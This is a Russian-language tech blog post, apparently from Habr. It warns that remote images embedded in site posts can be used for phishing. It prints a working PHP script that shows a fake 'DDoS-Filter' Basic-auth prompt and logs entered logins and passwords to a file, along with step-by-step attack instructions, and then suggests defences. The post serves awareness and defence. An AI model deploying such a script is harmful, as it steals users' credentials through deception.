Как стать автором
Обновить

Злые фишинг картинки

Время на прочтение2 мин
Количество просмотров8.4K
Правильно люди говорят: «Все новое — это хорошо забытое старое»

Возможность встраивания удалённых ресурсов (например картинок с других сайтов) на страницу своего сайта — очень плохая практика. Которая может в определённый момент привести к довольно серьёзным последствиям для сайта. Еще 10 лет назад, я с удивлением читал о том, что такое возможно. И вот прошло 10 лет, ничего не изменилось, и похоже на то, что это вряд ли когда то изменится.

Детали под катом

Теория и практика


1. Хакер злой пользователь регистрирует себе домен похожий по написанию на атакуемый домен.
2. Загружает на него скрипт c таким содержимым на PHP

<?php 
if (!isset($_SERVER['PHP_AUTH_USER'])) { 
    $vulnsite = parse_url($_SERVER['REFERER']);
    //header('Content-Type: text/html; charset=windows-1251'); 
    //header('WWW-Authenticate: Basic realm="'.ucfirst($vulnsite['host']).' DDoS-Filter: Enter your Login and Password"'); 
    //header('HTTP/1.0 401 Unauthorized'); 
} else { 
    $f = fopen('passes.txt', 'a'); 
    fwrite($f, $_SERVER['PHP_AUTH_USER'].';'.$_SERVER['PHP_AUTH_PW']."\r\n");  
    fclose($f); 
} 
header("Content-type: image/jpeg"); 
$image = imagecreatefromjpeg('image.jpg'); 
imagejpeg($image); 
imagedestroy($image); 
exit(); 

//Соответственно в этой же папке лежит нормальная image.jpg
//Тут же можно поиграться с расширением скрипта и обозвать его superphoto.jpg .
?>


3. Пишет статью, и встраивает картинку в пост:

<img src="http://exEmple.com/evilimage.php" alt="image"/>

4. Если присутствует модерация на сайте, то отправляет статью на модерацию.
5. К примеру статья получилась у него хорошая и она попадает на главную.
6. Злой человек видит своё детище на главной и убирает комментарии в PHP коде, таким образом в ответ на запрос картинки из поста, у любого пользователя в браузере появляется окно с авторизацией, где может быть написано все что угодно, к примеру что сайт отбивается от ДДос атаки, и просит повторить ввод логина и пароля.
7. Не внимательный пользователь, не вчитывается в название домена в форме авторизации и субмитит логин и пароль.
8. Злой человек получает ваш логин и пароль, его цель достигнута.

Способы защиты


Думаю вменяемых методов может быть два:

  • На уровне браузеров: запрет на выдачу окна авторизации от другого сайта
  • На уровне разработчиков сайтов: Копирование всех удалённых ресурсов к себе на хостинг


P.S.

Habrahabr.ru тут не исключение у него на главной присутствуют посты, с картинками с других ресурсов. Так что просто стоит держать в уме этот трюк и всегда проверять до буквы имя домена требующего авторизацию.

А так же всегда есть потенциальная опасность того что пока картинка находится на главной, сайт с которого тянется эта картинка, может быть взломан только ради того чтобы заменить картинку на скрипт.

P.P.S.

Я не считаю это багом.
Это не более чем трюк, который официально позволяется протоколом HTTP.
Теги:
Хабы:
Всего голосов 114: ↑96 и ↓18+78
Комментарии65

Публикации

Истории

Работа

Ближайшие события

19 августа – 20 октября
RuCode.Финал. Чемпионат по алгоритмическому программированию и ИИ
МоскваНижний НовгородЕкатеринбургСтавропольНовосибрискКалининградПермьВладивостокЧитаКраснорскТомскИжевскПетрозаводскКазаньКурскТюменьВолгоградУфаМурманскБишкекСочиУльяновскСаратовИркутскДолгопрудныйОнлайн
3 – 18 октября
Kokoc Hackathon 2024
Онлайн
10 – 11 октября
HR IT & Team Lead конференция «Битва за IT-таланты»
МоскваОнлайн
25 октября
Конференция по росту продуктов EGC’24
МоскваОнлайн
7 – 8 ноября
Конференция byteoilgas_conf 2024
МоскваОнлайн
7 – 8 ноября
Конференция «Матемаркетинг»
МоскваОнлайн
15 – 16 ноября
IT-конференция Merge Skolkovo
Москва
25 – 26 апреля
IT-конференция Merge Innopolis 2025
Иннополис